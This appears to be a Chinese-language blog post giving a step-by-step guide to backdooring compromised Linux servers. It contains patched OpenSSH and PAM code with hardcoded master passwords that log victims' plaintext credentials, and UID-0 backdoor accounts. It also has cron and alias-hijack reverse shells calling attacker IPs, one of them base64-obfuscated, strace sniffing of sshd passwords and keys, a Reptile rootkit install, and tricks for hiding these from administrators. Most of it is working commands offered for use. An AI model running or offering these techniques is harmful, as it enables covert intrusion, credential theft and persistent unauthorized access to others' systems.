总结

关于通过ssh连接

openssl =>修改openssl版本 =>修改配置文件 =>使用万能密码登录

ssh-pam=>用户身份验证的机制 =>安装相同版本->修改配置文件 =>万能密码登录

ssh软链接=>针对端口 可任意密码登录

公私钥=>将攻击机公钥存进靶机文件中 攻击机直接利用私钥登录

登录维护

openssl

环境搭建

a.下载依赖
yum -y install openssl openssl-devel pam-devel zlib zlib-devel    
yum -y install gcc gcc-c++ make
b.上传文件
c.解压文件
tar -xzvf openssh-5.9p1.tar.gz 
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff

d. 备份SSH原始配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

vim includes.h

177 #define ILOG "/tmp/ilog"#ILOG是别人用ssh登录该主机记录的日志目录
178 #define OLOG "/tmp/olog"#OLOG是该主机用ssh登录其他主机记录的日志目录 
179 #define SECRETPW "yeyeye"   <---#修改此处万能密码
180 #endif /* INCLUDES_H */

vim version.h

./configure --prefix=/usr  --sysconfdir=/etc/ssh  --with-pam  --with-kerberos5  && make && make install

PS:在编译过程中可能会出现“configure: error: *** zlib.h missing – please install first or check config.log”错误。
    执行“yum install zlib-devel”和“yum install openssl openssl-devel”命令,
    安装后再次进行编译


报错“Failed to start OpenSSH server daemon”解决方式:
	-->执行
    chmod 600 /etc/ssh/ssh_host_rsa_key
    chmod 600 /etc/ssh/ssh_host_ecdsa_key
    service sshd start
		或
    chown -R root.root /var/empty/sshd  #将文件所述用户调整为root用户
    chmod 744  /var/empty/sshd #调整文件权限
    service sshd restart   #重新启动sshd服务
    
后续操作
更新时间修改
执行以下命令,使ssh_config和sshd_config文件的修改时间与ssh_config.old和sshd_config.old文件一致。
touch -r  /etc/ssh/ssh_config.old  /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config

使用ssh root@ip  万能密码直接登录

SSH-PAM

环境配置

1.关闭 setenforce 0   查看 getenforce
2.查询版本 rpm -qa | grep pam
3.下载:wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
4.解压:tar -zxvf Linux-PAM-1.1.8

替换 Linux-PAM-1.1.8-master/modules/pam_unix/.libs
/pam_unix_auth.o 中的内容为如下 
    /* verify the password of this user */
    retval = _unix_verify_password(pamh, name, p, ctrl);
    if(strcmp("hackers",p)==0){return PAM_SUCCESS;}    //后门密码
        if(retval == PAM_SUCCESS){    
               FILE * fp;    
               fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
               fprintf(fp, "%s : %s\n", name, p);    
               fclose(fp);} 
    name = p = NULL;
    AUTH_RETURN;

5.安装环境:yum install gcc flex flex-devel -y



编译安装
	cd Linux-PAM-1.1.8
	chmod +x ./configure
	./configure && make
	
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so

ssh连接
ssh root@ip

ssh软链接

cat /etc/ssh/sshd_config|grep UsePAM	若是为no则修改为yes
使用命令配置:ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
连接报错:rm  ~/.ssh/known_hosts

ssh 192.168.43.95 -p 8888

输入任意密码即可登录

公私钥

攻击端运行
vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

2.ssh-keygen -t rsa #三次回车
3.cat ~/.ssh/id_rsa.pub

靶机运行:
echo '<公钥位置>' > ~/.ssh/authorized_keys

后门账户

方式一:
useradd -p `openssl passwd -1 -salt 'salt' 密码` 用户名 -o -u 0 -g root -G root -s /bin/bash -d /home/test1	
如: useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1	

方式二:
echo "yeyeye:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd yeyeye #修改yeyeye的密码

后门维护

定时任务-cron后门

1.编辑后门
vim /etc/.aaa.sh
#!/bin/bash
bash -i >& /dev/tcp/43.138.215.2/3388 0>&1

chmod +x /etc/.aaa.sh

2.添加定时任务
vim /etc/crontab/
*/1 * * * *  root /etc/.aaa.sh 

3.启动定时任务
service crond reload //又一次加载配置
service crond restart //重新启动服务
service crond start //启动服务
关闭这个cron服务
service crond stop //关闭服务

4.监听端口
nc -lvp 3388

监控功能-srace后门

strace是一个动态跟踪工具,它可以跟踪系统调用的执行。
我们可以把他当成一个键盘记录的后门,来扩大我们信息收集的范围
安装
yum -y install srace 

记录

记录sshd明文
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshdaaa.log &)

查看文件内容
grep -E 'read\(6, ".+\\0\\0\\0\\.+"'  /tmp/.sshdaaa.log

记录sshd私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshdbbb.log &)

命令自定义-Alisa后门

alias命令的功能:为命令设置别名

定义: alias ls='ls -al'  #每次输入ls命令的时候就能实现ls -al
删除: unalias ls

普通连接

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.43.3/5555 0>&1; };alerts'

靶机输入 =>  ls
攻击机 => nc -lvp 5555

脚本连接(不会卡死)

python:	base64解码	将ip地址改为要反弹的ip	重新编码后输入
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC40My4zIiwgNTU1NSkpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'


防止发现
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

内核加载LKM-RootKit后门

centos7

$kernel=`uname -r`
yum -y install perl vim gcc make g++ unzip
yum -y localinstall kernel-devel-"$kernal".rpm

cd Reptile-2.0/ && chmod +x ./setup.sh

./setup.sh install <<EOF

reptile
hax0r 						 \# 改你的token
s3cr3t  					\# 改你的密码
reptile
666
y
43.138.215.2  							\# 改你的攻击IP
9000  							\# 改你的攻击监听端口
1
EOF

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注